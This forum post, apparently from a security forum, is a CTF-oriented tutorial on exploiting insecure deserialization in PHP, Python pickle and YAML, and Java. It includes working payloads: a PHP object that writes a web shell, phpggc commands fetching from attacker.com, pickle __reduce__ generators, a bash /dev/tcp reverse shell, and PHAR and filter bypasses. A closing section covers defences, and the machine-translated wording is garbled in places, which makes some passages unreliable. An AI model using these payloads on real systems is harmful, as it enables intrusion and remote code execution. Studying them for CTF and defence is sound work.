Insecure Deserialization operation in CTF

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
548
Reaction score
955
Deposit
0$
How to recognize deserialization vulnerabilities in CTF assignment

Before you build a gadget chain or run yoserial, you need to understand that you have a deserialization. In CTF, this is the first and often decisive step – the authors of the task rarely hang the “unserialize” plaque here. You will have to identify the format by signatures in HTTP traffic. Read more in our article about creating ctf tasks.
Signatures of serialized data by language

Each language leaves a characteristic mark in the serialized stream. According to OWASP Deserialization Cheat Sheet, the main markers are:
Language Format Signature Where to find in CTF
PHP serial() O:4:"User":2:{s:4:"name"...} Cookies, POST parameters, hidden fields
Python pickle Hex 0x80 at the beginning, Base64 gASV Cookies, API body, Redis/Memcached
Java ObjectInputStream Hex AC ED 00 05, Base64 rO0AB Cookies, HTTP headers, parameters
Java (gzip) ObjectInputStream + gzip Base64 H4sIAAAAAAAA The same places
. NET ViewState Base64 /wEP... in __VIEWSTATE Hidden Form Fields

The first action after receiving the web task – intercept all traffic through Burp Suite and drive the search for these patterns. For Java in Burp there is a Java Deserialization Scanner extension – automatically catches markers AC ED and rO0AB in HTTP history. For PHP, there is enough text search for O: and a: in cookies and parameters.

PHP series identification is easiest: the line starts with the type of data (O: for the object, a: for the array, s: for the line, i: for the whole number) and contains brackets with key-value pairs. Python pickle in raw form is a binary stream, but in CTF it is almost always packed in base64. Decode suspicious base64 command echo "..." | base64 -d | xxd | head and check the first bytes: \x80\x03 or \x80\x04 (The version number of the protocol pickle) is a sure sign.

Where the authors of CTF tasks hide serialized data: session (most frequent), hidden fields of forms, bodies of API requests in POST, WebSocket messages, data in Redis or Memcached (if the task includes these services). When the task gives the source code, look for calls unserialize(), pickle.loads(), yaml.load(), readObject(), XMLDecoder, XStream.fromXML() right in the code. This reduces the search time from hours to minutes.
PHP series vulnerabilities — from unserialize to RCE

PHP is the most frequent language for insecure deserialization CTF assignments. The reason is simple: format serialize() Human-readable, POP chains are obvious, and exploitation does not require external dependencies.
PHP object injection and magical techniques

The essence of PHP object injection: when unserialize() processes user input, attacking controls the properties of the created object. If there are classes with magic methods in the application code - __wakeup(), __destruct(), __toString() – they are called automatically during the deselization or destruction of the object. The task of a CTF player is to find a chain of calls (POP chain, Property Oriented Programming) from the magic method to a dangerous sink eval(), system() or file_put_contents().

Typical CTF scenario. Let's say, in the source two classes:

class Logger {
public $logFile;
public $logData;
function __destruct() {
file_put_contents($this->logFile, $this->logData);
}
}
class User {
public $name;
public $role = "guest";
}

The application desirels cookies through unserialize($_COOKIE['session']) and awaits the object User. Nothing prevents you from slipping the object Logger with controlled logFile and logData. When the object is destroyed (the end of the script) will be called __destruct(), which will write arbitrary data in an arbitrary file is a direct path to RCE through a web shell recording.

Payload: O:6:"Logger":2:{s:7:"logFile";s:18:"/var/www/shell.php";s:7:"logData";s:29:"<?php system($_GET['cmd']); ?>";}. We throw in cookies through Burp Repeater - after the deselization, a shell appears on the server. Pay attention to the format: O:6 – object with a class name of 6 characters, :2: Two properties, s:7:"logFile" – key string with a length of 7 characters. Mistaken in the calculation of the length at least one — unserialize() will return false. I lost twenty minutes on it until I was accustomed to counting symbols to automatism.

Magical methods to look for when building a gadget chain:

__wakeup() – works immediately during deselization, before using the object
__destruct() – triggered when the object is destroyed (the end of the script or the explicit unset)
__toString() – is triggered when the object is brought to the line (in echo, concatenations, comparisons)
__call() – works when referring to a non-existent method
__get() – works when referring to a non-existent property

In real CTF tasks, POP chains are longer than two links. For example: __destruct() in Class A causes the method close() the Property $this->handler. Substitute Class B object instead of expected – will be called B::close(), which inside twitches $this->callback($this->data). Substitute $callback = "system" and $data = "cat /flag" RCE through three classes. The ability to trace such chains manually is what distinguishes the top 10 from the rest in CTF web operation.
phpggc gadget chains for frameworks

When there are no sources or the POP chain is too long for manual parsing, the phpggc is a generator of ready-made gadget chains for PHP frameworks. If the CTF task spins on Laravel, Symfony, WordPress with Guzzle, Monolog, or Doctrine – phpggc contains pre-found chains.


./phpggc -l


./phpggc Symfony/RCE4 exec "curl http://attacker.com/shell.sh" -b

./phpggc Monolog/RCE1 system "id" -b

Flag -b encodes the result in base64 for transmission via HTTP.

Strategy in CTF: define the framework on indirect grounds (answer headings, URL structure, characteristic cookies type laravel_session or XSRF-TOKEN, composer.json if available), check the chains in phpggc, generate a payload. It sounds simple, but in practice, the framework is not always obvious - sometimes you have to go through.
PHAR-deselization — attack through file operations

A separate vector is PHAR (PHP Archive). Bunch of PHP file functions (file_exists(), is_dir(), file_get_contents(), fopen(), getimagesize() and others) support the switchper phar://. When the application transmits user input to such a function, you can download a PHAR archive with malicious serialized metadata - PHP automatically desyralizes the metadata of the archive when accessed via phar://.

In CTF tasks with file downloads, this vector is particularly delicious. The author of the task filters the extension (only .jpg or .png), but the PHAR archive can be packed in a polyglot — a file that is both valid and as an image, and like PHAR. The PHAR archive is flexible: JPEG magic by bytes (\xFF\xD8), and the image parser will accept the file, and the PHP through phar:// handle it as an archive. phpggc supports the flag -p phar: ./phpggc -p phar -o exploit.phar Laravel/RCE1 system "id".

Practical moment: after downloading the polyglot, you need to force the application to contact the file via phar:// The wrapper. If there is a parameter that controls the path to the file (e.g. ?file=/uploads/avatar.jpg), change to ?file=phar:///uploads/avatar.jpg. Does the server filter the "phar" substring? Trying the register (PHAR://, Phar://) or alternative wrappers. On one CTF, I spent half an hour bypassing the filter until I guessed to try double URL encoding — %70%68%61%72.
Pickle Python operation is the most dangerous deseleserizer

Unlike PHP, where RCE needs a suitable gadget chain, Python pickle is dangerous in nature. On OWASP Deserialization Cheat Sheet no additional prerequisites are required for the attack through the pickle: if the application calls pickle.loads() on user input is almost guaranteed by RCE.
Mechanism reduce and create payload

Pickle uses protocol __reduce__ to manage the deserization. Method __reduce__() returns the motorcade from callable and arguments — pickle will cause this callable when the object is restored. In fact, an arbitrary function without any gadget chain. Just take it and do it.

import pickle, base64

class Exploit:
def __reduce__(self):
import os
return (os.system, ("id",))

payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload.decode())

This code generates base64-payload, which is when desedelization through pickle.loads() execute the command id. In the CTF task, payload is transmitted through a cookie, POST option or body API. According to MITRE ATT & CK, pickle-operation falls under Python (T1059.006, Execution) - the interpreter executes arbitrary commands through the deselization mechanism.

Payload variations for different scenarios: reverse shell — in __reduce__ return (os.system, ("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'",)). Through exec for multi-line code: (exec, ('import os;os.system("cat /flag.txt")',)). DNS callback for blind verification (when there is no direct output): (os.system, ("curl http://your-server.com/callback",)).
Bypassing pickle restrictions in CTF

In tasks of increased complexity, the authors limit the pickle: filter the modules (os, subprocess, builtins), check opcodes or implement custom RestrictedUnpickler with a white list of classes.

Typical bypasses:

Replacement of the module. Instead of os.system - posix.system (on Linux posix and os use the same function). Instead of os.popen - builtins.eval with construction __import__('os').system('id') inside.

Opcode manipulation. Pickle is a stack virtual machine with its own set of opcodes. If the filter checks the serialized stream regex per line os, can be assembled payload manually through the module pickletools, breaking the line os on parts and gluing on the stack. Mutorno, but it works.

Alternative deserializers. When the task is used yaml.load() from PyYAML (without parameter Loader=SafeLoader) is the same vector of deselization. Payload View !!python/object/apply:eek:s.system ['id'] causes the deselization of the Python object through the YAML parser. In CTF, this vector is less common, but it is easy to miss – look for calls yaml.load() without explicit instructions SafeLoader.
Ysoserial Java deserialization — RCE via libraries

Java deserialization is the hardest vector for manual operation, but also the most destructive. One vulnerability in ObjectInputStream.readObject() if you have the right libraries in classpath - and java deserialization RCE through ready-made gadget chains is achievable in minutes.
Java series recognition in traffic

Java-series objects start with magic bytes AC ED 00 05 in hex. In base64-coding it rO0AB. See in Burp Suite Cookie or Parameter Starting with rO0AB – before you Java-serialization. Additional marker: HTTP header Content-Type: application/x-java-serialized-object. Quick check in the terminal: echo "rO0ABXNyABF..." | base64 -d | xxd | head – if the first bytes aced 0005, it's ObjectInputStream.

As PortSwigger notes, serialized Java objects are often additionally encoded (URL-encoding, gzip + base64), so it is worth checking and coded versions of these signatures. In the CTF task, the gzip option starts with H4sIAAAAAAAA in base64.
Ysoserial and Gadget chain selection

Ysoserial is the main tool for ysoserial java deserialization operation. It contains a collection of gadget chains for popular Java libraries: Commons Collections (versions 3.x and 4.0), Spring Framework, Hibernate, Groovy, Apache Commons FileUpload.


Gadget chain selection methodology in CTF: start with URLDNS – this chain uses only standard JDK classes (java.net.URL and java.util.HashMap) and does not depend on external libraries. Got a DNS callback on Burp Collaborator — the de-selessification works, we move on to RCE chains. Further we will move: CommonsCollections1 through CommonsCollections7 (the most common in Java applications), then Spring1, Hibernate1, Groovy1. In CTF, the authors typically include one of these libraries in classpath specifically.

Generated payload is substituted in a cookie or parameter through Burp Repeater. No standard chain worked? Two options: either the application filters certain classes through a redefined ObjectInputStream.resolveClass(), or in classpath there is none of the standard "gadget" libraries. In the first case, we are looking for a filter bypass; in the second, you will have to build a custom chain from the application classes. This is already a hard level, and there is no need to do without a pencil and paper (literally - draw a call graph).
Search for gadget chain in CTF — step-by-step methodology

Insecure deserialialization CTF assignments differ from real pentests: sourcers are usually available and a set of classes is limited. This simplifies the search for gadget chain and turns the task into a systemic code analysis.

Step 1 – Find the entry point. Look for challenges unserialize() (PHP), pickle.loads() / yaml.load() (Python), readObject() / XMLDecoder / XStream.fromXML() (Java). Check if the user input gets into these features. Sometimes input goes through several transformations (base64 decode, URL decode, gunzip) before the deselization - here will help tracing from the HTTP entry point to calling the deserializer.

Step 2 – Identify available classes. In PHP – all classes loaded through autoload, include or require. In Java – everything that lies in classpath (check pom.xml or build.gradle, if available). In Python, imported modules plus a standard library.

Step 3 – Find a kick-off gadget. Class with a magical method that is called automatically: __wakeup() / __destruct() in PHP, readObject() in Java. In Python kick-off - itself __reduce__(), so this step is trivial.

Step 4 – Build a chain to sink. From kick-off gadget you need to get to a dangerous function. Trace Calls: What Method Does a Kick-off Cause? What properties does it use? Can an object of another class be substituted instead of the expected type? Draw a graph of calls on paper - for chains of three or more links, this really saves.

Step 5 – Collect a payload. For PHP to manually design a serialized line (watch the lengths of the lines!) or use phpggc. For Python – write a script with __reduce__. For Java – yoserial for standard libraries or manual assembly through ObjectOutputStream.

Step 6 – Verify. Start with Safe Checks: DNS callback (URLDNS in Java, curl to your server in PHP/Python), sleep() for the timing-based confirmation. Only after confirming the health of the transition to a full RCE.

This approach is mapped on MITRE ATT&CK: steps 1–2 – exploration, steps 3–5 – Exploit Public-Facing Application (T1190, Initial Access), step 6 – confirmation via Unix Shell (T1059.004, Execution) or Python (T1059.006, Execution).
Protection against deselization of objects – what closes the vulnerability

Understanding protective measures is critical for a CTF player: if the protection is implemented correctly, you need to look for a bypass; if with a mistake, this error is the solution.

In PHP replacement unserialize() on json_decode() Completely close the vector. If unserialize() required – parameter allowed_classes limits the list of permissible classes: unserialize($data, ["allowed_classes" => ["User"]]). In CTF, look for situations where whitelist contains an extra class – one extra class on the list, and all protection is crumbling.

In Python – rejection of pickle.loads() in favor json.loads(). If the pickle is needed — RestrictedUnpickler with white list of modules. For PyYAML – yaml.safe_load() instead of yaml.load(). In the CTF, check whether it is RestrictedUnpickler covers all dangerous ways – often the authors “forget” about posix or builtins.
 
Top Bottom